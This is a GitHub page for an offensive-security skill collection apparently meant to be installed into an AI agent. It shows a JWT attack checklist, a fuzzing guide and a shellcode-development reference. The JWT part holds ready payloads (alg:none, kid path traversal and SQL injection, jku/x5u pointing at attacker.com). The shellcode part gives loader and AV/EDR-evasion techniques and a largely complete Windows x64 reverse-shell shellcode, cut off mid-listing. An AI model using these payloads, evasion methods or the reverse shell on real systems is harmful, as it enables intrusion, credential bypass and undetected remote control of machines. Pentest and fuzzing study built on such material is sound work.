SnailSploit/Claude-Red
GitHub提供JWT渗透测试攻击方法论,涵盖算法混淆、弱密钥爆破、参数注入及缓存投毒等漏洞利用技术。适用于Web或移动应用中基于JWT的身份认证安全评估与绕过测试。
Install All Skills
npx skills add SnailSploit/Claude-Red --all -g -y
More Options
List skills in collection
npx skills add SnailSploit/Claude-Red --list
Skills in Collection (26)
Skills/auth/offensive-jwt/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-jwt -g -y
SKILL.md
Frontmatter
{
"name": "offensive-jwt",
"description": "JWT attack methodology for penetration testers. Covers algorithm confusion (alg:none, RS256→HS256), weak HMAC secret brute force, kid parameter injection (SQLi, path traversal), jku\/x5u\/jwk header injection, JWKS cache poisoning, JWS\/JWE confusion, timing attacks, and mobile JWT storage extraction. Use when testing JWT-based authentication, hunting auth bypass via token manipulation, or evaluating JWT implementation security in web or mobile apps."
}
Overview
Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
Quick Reference: Misconfigurations to Check
- Algorithm set to
none— signature verification bypassed entirely - Algorithm switching between
RSAandHMAC(confusion attack) - Weak or guessable HMAC secret (brute-forceable)
kid,jku,jwk,x5uheader parameters accepted without validation- Expired or tampered tokens accepted by server
- Sensitive data stored unencrypted in payload
Useful tool: JWT Tool
Mechanisms
JWTs (RFC 7519) consist of three Base64URL-encoded parts: header.payload.signature.
Signing algorithms:
| Algorithm | Type | Notes |
|---|---|---|
| HS256/384/512 | Symmetric HMAC | Shared secret; confusion target |
| RS256/384/512 | Asymmetric RSA | Public key can be misused as HMAC secret |
| ES256/384/512 | Asymmetric ECDSA | |
| PS256/384/512 | RSASSA-PSS | |
| EdDSA (Ed25519/Ed448) | Asymmetric | |
| none | Unsigned | Critically insecure |
Additional pitfalls:
- JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected
typ/cty - JWKS retrieval: SSRF via
jku/x5u, insecure TLS, poisoned key caching,kidcollisions - Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
Hunt: Identifying JWT Usage
- Check
Authorization: Bearer <token>headers in all requests - Look for cookies containing JWT structures (
eyJ...) - Examine browser local/session storage
- Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
- Note any
kid,jku,jwk,x5ufields in the header — these are attack surfaces
Vulnerability Map
JWT Vulnerabilities
├── Algorithm Bypass
│ ├── alg:none attack
│ └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│ ├── SQL injection via kid
│ └── Path traversal via kid
├── Header Injection
│ ├── jwk (inline fake key)
│ ├── jku/x5u (remote attacker-controlled JWKS)
│ └── JWKS cache poisoning
└── Missing / Broken Validation
├── No signature check
├── Expired tokens accepted
└── iss/aud/exp not validated
Vulnerabilities
Algorithm Vulnerabilities
- alg:none — Some libraries disable signature validation when
algisnoneor a case variant (None,NONE,nOnE) - Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches
algto HS256; attacker re-signs token with the public key - Key ID (
kid) Manipulation — Exploitingkidto load wrong keys or inject file paths / SQL; enforce strict lookups
Signature Vulnerabilities
- Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
- Missing Signature Validation — Token accepted without any verification
- Broken Validation — Implementation errors in signature checking logic
Implementation Issues
- Missing Claims Validation —
exp,nbf,aud,issnot verified - Insufficient Entropy — Predictable JWT IDs or tokens
- No Expiration — Tokens valid indefinitely
- Insecure Transport — Token sent over HTTP
- Debug Leakage — Detailed error messages expose implementation
Header Injection Attacks
- JWK Injection — Supply a custom attacker-controlled public key via the
jwkheader - JKU Manipulation — Point
jku(JWK Set URL) to attacker-controlled JWKS endpoint - x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
- JWKS Cache Poisoning — Force caches to accept attacker keys via
kidcollisions or response header manipulation critHeader Abuse — Server ignores unknown critical parameters, enabling bypass
Information Disclosure
- Sensitive data (PII, credentials, session details) stored unencrypted in payload
- Internal service/backend information leaked via claims
Additional Attack Vectors
Mobile App JWT Storage
Android:
SharedPreferences: Check if world-readable; location/data/data/<package>/shared_prefs/- Keystore extraction: root device or exploit app
- Backup extraction:
adb backup -f backup.ab <package>(ifallowBackup=true) - Tools: Frida, objection, MobSF
iOS:
- Keychain: Check
kSecAttrAccessible—kSecAttrAccessibleAlwaysis insecure - iTunes/iCloud backup extraction: unencrypted backups expose Keychain
- Jailbreak + Keychain-Dumper for full extraction
- Tools: Frida, objection, idb
React Native / Hybrid:
AsyncStoragestored in plain text (Android SQLite DB, iOS plist); no encryption by default
# Android — check SharedPreferences
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
# iOS — extract from backup
idevicebackup2 backup --full /path/to/backup
# Use plist/sqlite tools to extract JWT
JWT Confusion Attacks
- SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
- API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
- Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
- OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
# Try API key where JWT expected
curl -H "Authorization: Bearer <api_key>" https://api.target/resource
# Try JWT where API key expected
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
Timing Attacks on HMAC
Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
import requests, time
def time_request(signature):
start = time.perf_counter()
r = requests.get('https://target/api',
headers={'Authorization': f'Bearer header.payload.{signature}'})
return time.perf_counter() - start
# Brute-force first byte — longer response time indicates correct byte
for byte in range(256):
sig = bytes([byte]) + b'\x00' * 31
t = time_request(sig.hex())
JWT in URL Parameters
- Tokens in GET URLs appear in server logs, proxy logs, browser history
- Leaked via
Refererheader to external sites; CDN/cache logs may persist tokens
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
Manual Testing Steps
-
Decode and Inspect:
base64url_decode(header) . base64url_decode(payload) . signature -
Test
noneAlgorithm (try all case variants):{"alg":"none","typ":"JWT"}.payload."" {"alg":"None","typ":"JWT"}.payload."" {"alg":"NONE","typ":"JWT"}.payload."" {"alg":"nOnE","typ":"JWT"}.payload."" -
Algorithm Confusion (RS256→HS256):
# Re-sign with RSA public key used as HMAC secret {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret> -
kid Parameter Attacks:
{"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"} {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"} {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"} -
JWK/JKU Injection:
{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}} {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"} -
x5u / crit Handling:
{"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"} {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null} -
Brute Force HMAC Secret:
python3 jwt_tool.py <token> -C -d wordlist.txt -
Test Missing Claim Validation:
- Remove or modify
exp(expiration) - Change
iss(issuer) oraud(audience) - Modify
iat(issued at) ornbf(not before)
- Remove or modify
Automated Testing with JWT_Tool
# Basic token inspection
python3 jwt_tool.py <token>
# Full vulnerability scan
python3 jwt_tool.py <token> -M all
# Targeted attacks
python3 jwt_tool.py <token> -X a # Algorithm confusion
python3 jwt_tool.py <token> -X n # Null/none signature
python3 jwt_tool.py <token> -X i # Identity theft
python3 jwt_tool.py <token> -X k # Key confusion
# Crack HMAC secret
python3 jwt_tool.py <token> -C -d wordlist.txt
Other tools:
- JWT.io — basic token inspection and debugging
- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
- jwtXploiter — advanced JWT vulnerability scanning
- c-jwt-cracker — high-speed HMAC brute force (C implementation)
- Frida, objection, MobSF — mobile JWT extraction
Remediation Recommendations
- Use short-lived access tokens; rotate refresh tokens frequently
- Always validate
aud(audience) andiss(issuer) claims - Disable
nonealgorithm; prevent algorithm downgrades; pinalgper client/issuer - Ensure key material loaded for verification matches
alg; reject mismatches - Reject tokens with unknown
critheader parameters - Validate JWKS over pinned TLS; disallow remote
jku/x5uexcept trusted domains; short-TTL key caching withkiduniqueness - Enforce maximum token length; disable JWE compression unless required
- Maintain server-side deny-list keyed by
jtifor early revocation - For DPoP tokens (
typ:"dpop+jwt"): verify proof binds to HTTP request; enforce one-time nonce use - Bind sessions to device when possible; rotate refresh tokens on every use
- Prefer
SameSite=Lax/StrictHttpOnly cookies for web; avoid localStorage for access tokens
Alternatives & Modern Mitigations
- PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
- Macaroons — bearer tokens with attenuable, caveat-based delegation
- DPoP and mTLS — bind tokens to the client to prevent replay
Skills/fuzzing/offensive-fuzzing/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-fuzzing -g -y
SKILL.md
Frontmatter
{
"name": "offensive-fuzzing",
"description": "Practical offensive fuzzing methodology covering target identification, fuzzer selection (AFL++, libFuzzer, Honggfuzz, Boofuzz, syzkaller), harness writing, corpus curation, mutation strategies, coverage measurement, and crash triage. Use when setting up or running fuzz campaigns against any target: file parsers, network protocols, kernel drivers, EDR engines, embedded firmware, or language runtimes."
}
Offensive Fuzzing
Fuzzer Types
| Type | Coverage | Speed | Tools |
|---|---|---|---|
| BlackBox | Poor | Fast | Peach, Boofuzz |
| GreyBox | Good | Fast | AFL++, Honggfuzz, libFuzzer, WinAFL |
| Snapshot | Good | Fastest | Nyx, wtf, Snapchange |
| WhiteBox | Best | Slow | KLEE, QSYM, SymSan |
| Ensemble | Best | Fast | AFL++ + Honggfuzz + libFuzzer |
GreyBox sub-variants: Directed (AFLGo, UAFuzz), Grammar (AFLSmart, Tlspuffin), Concolic (QSYM, Driller), Kernel (syzkaller, kAFL, wtf).
Core Workflow
Research target → Choose analyses → Build harness → Seed corpus → Instrument → Fuzz → Triage crashes → Report
1. Research Target
- Map all input surfaces (files, network, IPC, syscalls, IOCTL)
- Identify high-value areas: previously patched code, complex parsers, newly added code, input ingestion points
- For kernel modules: look beyond
copy_from_user— DMA-BUF ops, page fault handlers, VM operation structs, allocation callbacks
2. Instrument and Build
# AFL++ (preferred for GreyBox)
CC=afl-clang-fast CXX=afl-clang-fast++ cmake -DCMAKE_BUILD_TYPE=Release .. && make -j
# libFuzzer + ASan/UBSan (C/C++)
cmake -DCMAKE_CXX_FLAGS="-fsanitize=fuzzer,address,undefined -O1 -g" ..
# CmpLog build for hard compares
AFL_LLVM_CMPLOG=1 CC=afl-clang-fast CXX=afl-clang-fast++ make clean all
Windows (MSVC): Project Properties → C/C++ → Address Sanitizer: Yes (/fsanitize=address)
3. Write Harness
libFuzzer (C++):
#include <cstdint>
#include <cstddef>
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
parse_or_process(data, size);
return 0;
}
Honggfuzz HF_ITER (persistent mode — preferred for large targets):
#include "honggfuzz.h"
int main(int argc, char** argv) {
initialize_target(); // runs once
for (;;) {
size_t len; uint8_t *buf;
HF_ITER(&buf, &len);
FILE* s = fmemopen(buf, len, "r");
target_function(s);
fclose(s);
reset_target_state();
}
}
AFL++ persistent mode (__AFL_LOOP):
while (__AFL_LOOP(10000)) {
// re-read input and process
}
macOS IPC (Mach message fuzzing):
void *lib_handle = dlopen("libexample.dylib", RTLD_LAZY);
pFunction = dlsym(lib_handle, "DesiredFunction");
4. Build Seed Corpus
- Pull from target's test suite, bug reports, and real-world samples
- Web-crawl (Common Crawl) for file formats; filter by MIME type
- Minimize:
afl-cmin -i raw_corpus -o seeds -- ./target @@ - Trim inputs:
afl-tmin -i crash -o crash.min -- ./target @@
5. Launch Fuzzing
AFL++ parallel (primary + secondary with cmplog):
afl-fuzz -M f1 -i seeds -o findings -x dict.txt -- ./target @@
afl-fuzz -S s1 -i seeds -o findings -c 0 -- ./target @@
libFuzzer:
./target_libfuzzer corpus/ -max_total_time=3600 -workers=4
Binary-only (QEMU):
afl-fuzz -Q -i seeds -o findings -- target.exe @@
Snapshot (AFL++ Nyx):
NYX_MODE=1 AFL_MAP_SIZE=1048576 afl-fuzz -i seeds -o findings -- ./target_nyx @@
Ensemble (AFL++ + Honggfuzz sharing corpus):
# Terminal 1
afl-fuzz -M fuzzer1 -i seeds -o sync_dir -- ./target @@
# Terminal 2
../honggfuzz/honggfuzz -i sync_dir/fuzzer1/queue -W sync_dir/hfuzz \
--linux_perf_ipt_block -t 10 -- ./target ___FILE___
6. Monitor and Unstick
If progress stalls:
- Enable CmpLog:
-c 0on AFL++ secondaries - Add dictionary:
-x dict.txtorAFL_TOKEN_FILE - Switch to directed fuzzing (AFLGo) targeting specific BBs/functions
- Use concolic assistance (QSYM, Driller) on hard branches
- Snapshot the target to increase exec/s
AFL_MAP_SIZE=1048576,-L 0for MOpt scheduler
7. Triage Crashes
# 1. Minimize
afl-tmin -i crash -o crash.min -- ./target @@
# 2. Symbolize
ASAN_OPTIONS=abort_on_error=1:symbolize=1 ./target crash.min 2>asan.log
# 3. Hash + bucket
./cov-tool --bbids ./target crash.min > cov.hash
./bucket.py --key "$(cat cov.hash)" --log asan.log --out triage/
Sanitizer env quick reference:
ASAN_OPTIONS=abort_on_error=1:symbolize=1:detect_stack_use_after_return=1
UBSAN_OPTIONS=print_stacktrace=1:halt_on_error=1
TSAN_OPTIONS=halt_on_error=1:history_size=7
MSAN_OPTIONS=poison_in_dtor=1:track_origins=2
Oracle Selection
| Bug Class | Oracle |
|---|---|
| Memory safety | ASan, HWASan (AArch64, lower overhead) |
| Uninitialized reads | MSan |
| Concurrency | TSan |
| Undefined behavior | UBSan |
| Type safety | TypeSan |
| Heap hardening | Scudo Hardened Allocator |
| Logic bugs | Differential / idempotency oracles |
| Kernel memory | KASAN, KMSAN, KCSAN |
| Kernel UB | KUBSan (CONFIG_UBSAN_TRAP=y) |
| CFI | KCFI (-fsanitize=kcfi, Clang 18) |
| Binary-only | QASAN (QEMU+ASan), DynamoRIO |
Property oracle patterns:
- Idempotency:
f(x) == f(f(x)) - Differential: compare two impls, bucket on output mismatch
- Invariants: monotonic lengths, checksum equality, schema validation post-parse
Specialized Targets
Kernel (Linux) — syzkaller
{
"target": "linux/arm64",
"http": ":56700",
"workdir": "/path/to/workdir",
"kernel_obj": "/path/to/kernel",
"image": "/path/to/rootfs.ext3",
"sshkey": "/path/to/id_rsa",
"procs": 8,
"enable_syscalls": ["openat$module_name", "ioctl$IOCTL_CMD", "mmap"],
"type": "qemu",
"vm": { "count": 4, "cpu": 2, "mem": 2048 }
}
- Limit
enable_syscallsto deepen coverage on specific subsystems - Use
syz-extractto pull constants for custom modules - Enable
CONFIG_KASAN=y,CONFIG_KCFI=y,CONFIG_DEBUG_INFO_BTF=y - Use
kcovfilters andsyz_cover_filterto direct coverage - Network fuzzing: inject via
TUN/TAP+ pseudo-syscalls (syz_emit_ethernet) - Crash decode:
./scripts/decode_stacktrace.sh vmlinux ... < dmesg.log
syzkaller repro:
syz-execprog -repeat=0 -procs=1 -cover=0 -debug target.repro
EDR / Windows Scanning Engines
WTF snapshot harness skeleton (mpengine.dll / mini-filter):
g_Backend->SetBreakpoint("nt!KeBugCheck2", [](Backend_t *Backend) {
const uint64_t BCode = Backend->GetArg(0);
Backend->Stop(Crash_t(fmt::format("crash-{:#x}", BCode)));
});
FilterConnectionPort fuzzing:
HANDLE hPort;
FilterConnectCommunicationPort(L"\\PortName", 0, NULL, 0, NULL, &hPort);
FilterSendMessage(hPort, fuzzData, sizeof(fuzzData), NULL, 0, &bytesReturned);
IOCTL fuzzing pattern:
HANDLE hDev = CreateFile(L"\\\\.\\DeviceName", GENERIC_READ|GENERIC_WRITE, ...);
DeviceIoControl(hDev, ioctlCode, inputBuf, inputLen, outBuf, outLen, &ret, NULL);
- Take snapshots after initialization, right before parse/dispatch loop
- Use IDA Lighthouse for coverage visualization
- Monitor:
DRIVER_VERIFIER_DETECTED_VIOLATION (0xc4),IRQL_NOT_LESS_OR_EQUAL (0xa) - WinDbg:
.symfix; !analyze -v; k; !heap -p -a @rax
Cross-platform mpengine.dll on Linux (loadlibrary + HF_ITER + Intel PT):
// Bypass Lua VM to avoid stability issues
insert_function_redirect((void*)luaV_execute_address, my_lua_exec, HOOK_REPLACE_FUNCTION);
for (;;) {
HF_ITER(&buf, &len);
ScanDescriptor.UserPtr = fmemopen(buf, len, "r");
__rsignal(&KernelHandle, RSIG_SCAN_STREAMBUFFER, &ScanParams, sizeof ScanParams);
}
Rust
# Full Rust fuzzing pipeline
cargo test # 1. property tests
cargo +nightly miri test # 2. UB via interpreter
cargo +nightly careful test # 3. runtime bounds checks
cargo fuzz run fuzz_target_1 -- -max_total_time=3600 # 4. libFuzzer crashes
RUSTFLAGS="--cfg loom" cargo test --release # 5. concurrency (if needed)
cargo fuzz coverage fuzz_target_1 # 6. coverage report
Focus unsafe blocks on: Vec::from_raw_parts, unchecked indexing, transmute size mismatches, pointer arithmetic, FFI integer truncation.
Embedded / Binary-Only
- LibAFL: Modular Rust framework; Unicorn engine, snapshot module, LBRFeedback (zero-instrumentation on Intel), SAND decoupled sanitization
- Retrowrite / QASAN: Binary rewriting for coverage + ASan without source
- Nautilus: Grammar-based fuzzing for structured formats
Language Ecosystems
- Go 1.18+:
go test -fuzz=Fuzz -run=^$ ./... - Python: Atheris (CPython native extension fuzzing)
- Rust:
cargo-fuzzorhonggfuzz-rs - JS engines: Fuzzilli with extended instrumentation (
__builtin_return_address(0)for PC tracking) - Wasm runtimes:
wasmtime-fuzz,waflfor differential fuzzing across V8/Wasmer/Wasmtime - Smart contracts: Echidna, Foundry-fuzz (Solidity); Move-Fuzz (Aptos/Sui)
CI/CD Integration
- name: Build with afl-clang-fast
run: CC=afl-clang-fast make -j
- name: Fuzz (smoke, 15 min)
run: timeout 15m afl-fuzz -i seeds -o findings -- ./target @@ || true
- name: Upload crashes
if: always()
uses: actions/upload-artifact@v4
with:
path: findings/**/crashes/*
Use ClusterFuzzLite for persistent continuous fuzzing; cache corpora between runs.
Crash Analysis Quick Reference
Linux:
ulimit -c unlimited && sysctl -w kernel.core_pattern=core.%e.%p
gdb -q ./target core.* -ex 'bt' -ex 'info reg' -ex q
addr2line -e ./target 0xDEADBEEF
Windows:
# Enable local dumps
New-Item 'HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps' -Force
# PageHeap
gflags /p /enable target.exe /full
Kernel KASAN/KMSAN:
dmesg -T | egrep -i 'kasan|kmsan' -A 60
./scripts/decode_stacktrace.sh vmlinux /lib/modules/$(uname -r)/build < dmesg.log
Reproducibility: pin CPU governor, disable ASLR only where safe, fix RNG seeds, save input sequences in persistent mode, record binary hashes and sanitizer options with every crash.
Tool Index
| Tool | Use Case |
|---|---|
| AFL++ | General GreyBox, CmpLog, MOpt, Nyx |
| Honggfuzz | Intel PT, crash detection, HF_ITER |
| libFuzzer | In-process, source available |
| syzkaller | Linux/Windows kernel syscall fuzzing |
| wtf | Snapshot fuzzing, Windows targets |
| Nyx | AFL++ snapshot mode (Intel PT) |
| Snapchange | AWS snapshot fuzzing |
| LibAFL | Custom Rust fuzzing framework |
| AFLGo | Directed fuzzing to target BB/function |
| kAFL | Kernel + OS fuzzing |
| Jackalope | Binary coverage-guided (Windows/macOS) |
| cargo-fuzz | Rust libFuzzer integration |
| Atheris | Python fuzzing |
| Nautilus | Grammar-based fuzzing |
| AFLTriage | Automated crash triage |
| afl-cov | Coverage analysis for AFL++ |
| ClusterFuzz | Distributed fuzzing infrastructure |
Skills/infrastructure/offensive-shellcode/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-shellcode -g -y
SKILL.md
Frontmatter
{
"name": "offensive-shellcode",
"description": "Shellcode development reference for offensive security engagements. Use when writing custom x86\/x64 shellcode, implementing position-independent code (PIC), building shellcode loaders, evading AV\/EDR detection, or converting PE files to shellcode. Covers null byte avoidance, API hashing, encoder\/decoder patterns, staged vs stageless payloads, Windows PEB traversal, and cross-platform shellcode techniques."
}
Shellcode Development Workflow
- Define concept and target platform (x86/x64, Windows/Linux/macOS)
- Write assembly using position-independent techniques
- Extract binary and test in controlled environment
- Apply null byte avoidance and optimizations
- Encode/encrypt to evade static detection
- Package with loader and choose delivery method
Basic Concepts
Execution Pattern (Allocate-Write-Execute)
Avoid direct PAGE_EXECUTE_READWRITE — prefer:
- Allocate with
PAGE_READWRITE - Write shellcode to allocated region
- Call
VirtualProtectto switch toPAGE_EXECUTE_READ
char *dest = VirtualAlloc(NULL, 0x1234, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234);
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &old);
((void(*)())dest)();
Position-Independent Code (PIC) Techniques
| Method | Platform | Notes |
|---|---|---|
| Call/Pop | Windows | Push next addr, pop into register |
| FPU state | Windows | fstenv saves instruction pointer |
| SEH | Windows | Exception handler stores EIP |
| GOT | Linux | Global Offset Table |
| VDSO | Linux | Kernel-provided shared object |
Windows API Resolution (PEB Walk)
Identifying kernel32.dll without imports:
- Get
PEBviags:[0x60](x64) orfs:[0x30](x86) - Walk
PEB->Ldr.InMemoryOrderModuleList— order: exe → ntdll → kernel32 - Hash-compare module names to locate
kernel32 - Parse the Export Address Table (EAT)
- Find
GetProcAddressby name hash, then resolveLoadLibraryA - Use
LoadLibraryAto loadWS2_32.dll, resolve Winsock functions
WinDbg helpers for debugging PEB walk:
dt nt!_TEB -y ProcessEnvironmentBlock @$teb
dt nt!_PEB -y Ldr <peb_addr>
dt -r _PEB_LDR_DATA <ldr_addr>
dt _LDR_DATA_TABLE_ENTRY (<init_flink_addr> - 0x10)
lm m kernel32 # verify base address
r @r8 # check register
Shellcode Loaders
Loader Responsibilities
- Environment verification / keying (sandbox detection)
- Shellcode decryption
- Safe memory allocation and injection
- Ends its duties after injecting
Recommended languages: Zig (small, no runtime), Rust (secure), Nim, Go (watch for runtime signatures)
Allocation Phase
Avoid RWX allocations — use two-step:
VirtualAllocEx/NtAllocateVirtualMemory— allocateRWZwCreateSection+NtMapViewOfSection— alternative approach- After writing:
VirtualProtectExto switch toRX
Other options: code caves, stack/heap (with DEP disabled)
Write Phase
WriteProcessMemory/NtWriteVirtualMemorymemcpyto mapped section
Evasion tips:
- Prepend shellcode with dummy opcodes
- Split into chunks, write in randomized order
- Add delays between writes
Execute Phase
Most scrutinized step — EDR checks thread start address against image-backed memory:
| Technique | Notes |
|---|---|
CreateRemoteThread / ZwCreateThreadEx |
Loud, heavily monitored |
NtSetContextThread |
Hijack suspended thread |
NtQueueApcThreadEx |
APC injection |
| API trampolines | Overwrite function prologue |
| ThreadlessInject | No new threads created |
Indirect execution resources:
PE-to-Shellcode Conversion
| Tool | Purpose |
|---|---|
| Donut | EXE/DLL → shellcode |
| sRDI | DLL → position-independent shellcode |
| Pe2shc | PE → shellcode |
| Amber | Reflective PE packer |
Open-source loaders:
- ScareCrow
- NimPackt-v1
- NullGate — indirect syscalls + junk-write sequencing
- DripLoader — chunked RW writes + direct syscalls + JMP trampoline
- ProtectMyTooling — chain multiple protections
- Direct-syscall helpers: SysWhispers3, FreshyCalls (now baseline requirements)
Shellcode Storage & Hiding
| Location | Risk | Notes |
|---|---|---|
Hardcoded in .text |
Medium | Requires recompile; stored RW/RO |
PE Resources (RCDATA) |
High | Most scanned by AV |
| Extra PE section | Medium | Use second-to-last section |
| Certificate Table | Low | Keeps signed PE signature intact |
| Internet-hosted | Variable | SharpShooter |
Certificate Table technique (recommended):
- Pad Certificate Table with shellcode bytes; update PE headers
- Backdoor only the loader DLL (e.g.,
ffmpeg.dllinteams.exe) - Main executable signature remains valid; only the DLL signature breaks
Protection: Compress with LZMA; encrypt with XOR32, RC4, or AES before storing.
Windows 11 24H2 note: AMSI heap scanning is active. Allocate with
PAGE_NOACCESS, decrypt in place, then switch toPAGE_EXECUTE_READto avoid live-heap scans.
Evasion
Progressive Evasion Escalation
- Basic shellcode execution (baseline)
- Add XOR/AES encryption + obfuscation
- Direct syscalls to bypass userland hooks
- Remote process injection as last resort
Local vs Remote Injection
Remote injection is more detectable:
CFG/CIGenforcement- ETW Ti feeds
- EDR call-stack back-tracing (
NtOpenProcessinvocation source) - More scrutinized steps: OpenProcess → Allocate → Write → Execute
Defender bypass tools (DefenderBypass):
myEncoder3.py— XOR-encrypt binary shellcodeInjectBasic.cpp— basic C++ injectorInjectCryptXOR.cpp— XOR decrypt + injectInjectSyscall-LocalProcess.cpp— direct syscalls, no suspicious IAT entriesInjectSyscall-RemoteProcess.cpp— remote process injection via direct syscalls
Cross-Platform Considerations
Windows on ARM64 (WoA)
- Syscalls use
SVC 0with ARM64 table inntdll!KiServiceTableArm64 - Pointer Authentication (PAC) signs LR — avoid stack pivots or re-sign with
PACIASP
Linux 6.9+ (eBPF Arena)
BPF_MAP_TYPE_ARENAmaps can hold executable memory- Hide shellcode chunks in arena map, execute via
bpf_prog_run_pin_on_cpu
macOS (Signed System Volume)
- macOS 12+ seals the system partition; unsigned payloads cannot reside there
- Userspace: launch agents, dylib hijacks in
/Library/Apple/System/Library/Dyld/ - Kernel persistence: create sealed snapshot, mount RW, inject, resign with
kmutil, bless
DripLoader Technique
github.com/xuanxuan0/DripLoader:
- Reserve 64KB chunks with
NO_ACCESS - Allocate 4KB
RWchunks within that pool - Write shellcode in chunks in randomized order
- Re-protect to
RX - Overwrite prologue of
ntdll!RtlpWow64CtxFromAmd64with JMP trampoline - All calls via direct syscalls:
NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx
Full x64 Reverse Shell Shellcode (Windows)
Complete Python/Keystone example implementing PEB walk → GetProcAddress → LoadLibraryA → Winsock connect → CreateProcessA(cmd.exe):
import ctypes, struct
from keystone import *
CODE = (
# Locate kernel32 Base Address
" start: "
" add rsp, 0xfffffffffffffdf8 ;" # Avoid Null Byte and make some space
" find_kernel32: "
" int3 ;" # WinDbg breakpoint (disable for release)
" xor rcx, rcx ;"
" mov rax, gs:[rcx + 0x60] ;" # RAX = PEB
" mov rax, [rax + 0x18] ;" # RAX = PEB->Ldr
" mov rsi, [rax + 0x20] ;" # RSI = InMemoryOrderModuleList
" lodsq ;"
" xchg rax, rsi ;"
" lodsq ;"
" mov rbx, [rax + 0x20] ;" # RBX = kernel32 base
" mov r8, rbx ;"
# Parse Export Address Table
" mov ebx, [rbx+0x3C] ;" # PE signature offset
" add rbx, r8 ;" # RBX = PE header
" xor r12,r12 ;"
" add r12, 0x88FFFFF ;"
" shr r12, 0x14 ;"
" mov edx, [rbx+r12] ;" # EAT RVA
" add rdx, r8 ;" # RDX = EAT VA
" mov r10d, [rdx+0x14] ;" # NumberOfFunctions
" xor r11, r11 ;"
" mov r11d, [rdx+0x20] ;" # AddressOfNames RVA
" add r11, r8 ;" # AddressOfNames VA
# Find GetProcAddress
" mov rcx, r10 ;"
" k32findfunction: "
" jecxz functionfound ;"
" xor ebx,ebx ;"
" mov ebx, [r11+4+rcx*4] ;" # Function name RVA
" add rbx, r8 ;" # Function name VA
" dec rcx ;"
" mov rax, 0x41636f7250746547 ;" # 'GetProcA'
" cmp [rbx], rax ;"
" jnz k32findfunction ;"
# Get function address
" functionfound: "
" xor r11, r11 ;"
" mov r11d, [rdx+0x24] ;" # AddressOfNameOrdinals RVA
" add r11, r8 ;"
" inc rcx ;"
" mov r13w, [r11+rcx*2] ;" # Ordinal
" xor r11, r11 ;"
" mov r11d, [rdx+0x1c] ;" # AddressOfFunctions RVA
" add r11, r8 ;"
" mov eax, [r11+4+r13*4] ;"
" add rax, r8 ;" # GetProcAddress VA
" mov r14, rax ;" # R14 = GetProcAddress
# Resolve LoadLibraryA
" mov rcx, 0x41797261 ;"
" push rcx ;"
" mov rcx, 0x7262694c64616f4c ;"
" push rcx ;" # 'LoadLibraryA'
" mov rdx, rsp ;"
" mov rcx, r8 ;" # kernel32 base
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(kernel32, LoadLibraryA)
" add rsp, 0x40 ;"
" mov rsi, rax ;" # RSI = LoadLibraryA
# LoadLibrary("WS2_32.dll")
" xor rax, rax ;"
" mov rax, 0x6C6C ;"
" push rax ;"
" mov rax, 0x642E32335F325357 ;"
" push rax ;" # 'WS2_32.dll'
" mov rcx, rsp ;"
" sub rsp, 0x30 ;"
" call rsi ;" # LoadLibraryA("WS2_32.dll")
" mov r15, rax ;" # R15 = WS2_32 base
" add rsp, 0x40 ;"
# WSAStartup
" mov rax, 0x7075 ;"
" push rax ;"
" mov rax, 0x7472617453415357 ;"
" push rax ;" # 'WSAStartup'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;" # GetProcAddress(ws2_32, WSAStartup)
" add rsp, 0x40 ;"
" mov r12, rax ;"
" xor rcx,rcx ;"
" mov cx,408 ;"
" sub rsp,rcx ;"
" lea rdx,[rsp] ;" # lpWSAData
" mov cx,514 ;" # wVersionRequired = 2.2
" sub rsp,88 ;"
" call r12 ;" # WSAStartup
# WSASocketA — create socket
" mov rax, 0x4174 ;"
" push rax ;"
" mov rax, 0x656b636f53415357 ;"
" push rax ;" # 'WSASocketA'
" mov rdx, rsp ;"
" mov rcx, r15 ;"
" sub rsp, 0x30 ;"
" call r14 ;"
" add rsp, 0x40 ;"
" mov r12, rax ;"
" sub rsp,0x208 ;"
" xor rdx, rdx ;"
" sub rsp, 88 ;"
" mov [rsp+32], rdx ;"
